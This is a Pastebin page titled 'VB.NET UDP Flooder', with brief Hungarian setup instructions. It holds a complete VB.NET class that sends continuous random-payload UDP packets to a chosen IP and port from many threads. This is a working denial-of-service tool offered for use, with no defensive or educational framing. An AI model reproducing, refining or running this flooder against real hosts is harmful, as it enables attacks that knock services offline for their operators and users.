Advertisement
HeavenHU

VB.NET UDP Flooder

Aug 9th, 2015
403
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
VB.NET 2.42 KB | None | 0 0
  1. Meghívás
  2. UDP.Host = ipcim
  3. UDP.Port = "80"
  4. UDP.Threads = "50"
  5. UDP.str = "500"
  6. UDP.UDP()
  7.  
  8.  
  9. Csinálj egy új class-t UDP néven, és másold bele ezt a kódot
  10.  
  11. Imports System
  12. Imports System.Net
  13. Imports System.Net.Sockets
  14. Imports System.Threading
  15. Imports System.Text
  16.  
  17. Public Class UDP
  18.  
  19.     Public Shared Host As String
  20.     Public Shared str As Integer
  21.     Public Shared Port As Integer
  22.     Public Shared UDPzSockets As Integer
  23.     Public Shared Threads As Integer
  24.     Public Shared FloodRunning As Boolean
  25.     Public Shared udpClient As New Sockets.UdpClient
  26.     Public Shared bytCommand As Byte() = New Byte() {}
  27.     Public Shared Sub UDP()
  28.         Try
  29.         If FloodRunning = False Then
  30.             FloodRunning = True
  31.             bytCommand = Encoding.ASCII.GetBytes(GetBytes)
  32.             Dim IP As IPAddress = IPAddress.Parse(Host)
  33.             For NumberOfThreads As Integer = 0 To Threads
  34.                 Dim Flooding As New Thread(Sub() Flood(IP, Port))
  35.                 Flooding.Start()
  36.             Next
  37.             End If
  38.         Catch ex As Exception
  39.         End Try
  40.     End Sub
  41.     Public Shared Sub Flood(ByVal Ip As IPAddress, ByVal Port As Integer)
  42.         Do While FloodRunning = True
  43.             Try
  44.                 udpClient.Connect(Ip, Port)
  45.                 udpClient.Send(bytCommand, bytCommand.Length)
  46.             Catch
  47.             End Try
  48.         Loop
  49.         Thread.CurrentThread.Abort()
  50.     End Sub
  51.     Shared Sub StopUDP()
  52.         If FloodRunning = True Then
  53.             FloodRunning = False
  54.         End If
  55.     End Sub
  56.     Shared Function GetBytes()
  57.         Dim R As New Random
  58.         Dim Bytes As String = ""
  59.         Dim Letters As String = "qwertyuioplkjhgfdsazxcvbnm"
  60.         Dim Capitals As String = "QWERTYUIOPLKJHGFDSAZXCVBNM"
  61.         Dim Numbers As String = "0123456789"
  62.         Dim Signs As String = "!£$%^&*()-_=+]}{[;:'@#~<,.>/?"
  63.         For i As Integer = 0 To R.Next(300, str)
  64.             Select Case R.Next(0, 4)
  65.                 Case 0
  66.                     Bytes += Letters.ToCharArray()(R.Next((R.Next(0, 26))))
  67.                 Case 1
  68.                     Bytes += Capitals.ToCharArray()(R.Next(0, 26))
  69.                 Case 2
  70.                     Bytes += Numbers.ToCharArray()(R.Next(0, 10))
  71.                 Case 3
  72.                     Bytes += Signs.ToCharArray()(R.Next(0, 29))
  73.             End Select
  74.         Next
  75.         Return Bytes
  76.     End Function
  77. End Class
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement